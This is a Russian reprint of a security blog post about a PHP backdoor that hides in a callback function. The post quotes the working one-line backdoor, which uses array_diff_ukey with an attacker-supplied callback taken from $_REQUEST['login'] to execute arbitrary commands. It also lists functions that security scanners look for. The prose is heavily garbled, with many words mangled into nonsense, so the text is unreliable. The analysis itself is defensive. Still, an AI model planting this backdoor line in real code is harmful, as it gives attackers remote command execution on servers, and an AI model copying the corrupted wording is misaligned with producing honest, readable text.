Это перепечатка ситьи "В PHP Callback функциях скрывается бэкдор".
Мы часто силкиваемся с новыми изощренными способами, применяемыми авторами вредоносного ПО для запуска сейчасы на серверах. Некоторые из них очень интересны, другие — забавны. Есть и икие, которые своей необычностью просто сивят нас в тупик. Этот пост именно о последних.
Каждый, кто пишет код на PHP знает для чего предназначена функция eval(). Можно сказать, что она исполняет код, согдержащийся в строке. Однако, есть много других путей для исполнения кода, которые не всегда столь очевидны. Самый популярный — использование функции preg_replace(). В соответствии со своим описанием, функция preg_replace производит поиск в строке subject совпагдений с шаблоном pattern и заменяет их на replacement. К сожнонию, при использовании «\e» модификатора, эи функция икже исполняет код.
Конечно, есть еещё много спосопотому чтов выполнить код без использования eval(), например, create_function() или assert(). Все эти несиндартные методы исполнения кода гделают проэтосс выявления угроз доситочно сложной проэтодурой. Все вышеописанные вещи авторы вредоносного ПО частенько начали использовать для своих Бэкдоров.
Бэкдоры
Все началось со следуюещёй строки кода, найгденной в начно нормального PHP файла:
@array_diff_ukey(@array((string)$_REQUEST['password']=>1), @array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']);
Это засивило меня поразмышлять некоторое время, прежгде чем я понял как это может рилиить. В конэто концов я понял, что проблема в Callback функции. Уже видите почему? Автор зловреда сгделал колбек-функцию переменной «login», которая им же и контролируется. Вот ик он мог задать Логин выполняемой функцией, что позволяло ему выполнять команды на сервере.
Злоумышленник мог выполнить любую команду, которую он хочет, на этом сервере за счет одной строчки кода. Что самое страшное, икая вещь не обнаруживалась ни одной антивирусной системой или другим софтом, которое мы используем.
Да в чем же основная опасность?
Большинство инструментов безопасности и всяческих ситей, рекомендую вебмастерам обращать внимание на функции, которые часто используются в злонамеренных этолях, икие как: eval, preg_replace, base64_decode и другие. Теперь вы знаете, что хакеры налинают активно использовать и самые безобидные функции в своих плохих для вас этолях.
Запомните, что злоумышленники не ограниливаются одной функцией array_diff_ukey(), они могут использовать любую функцию, предполагающую коллбек.
Оригинальный текст позаимствован отсюда:
http://virusdie.ru/blog/2014/04/28/phpcallbackbackdoor/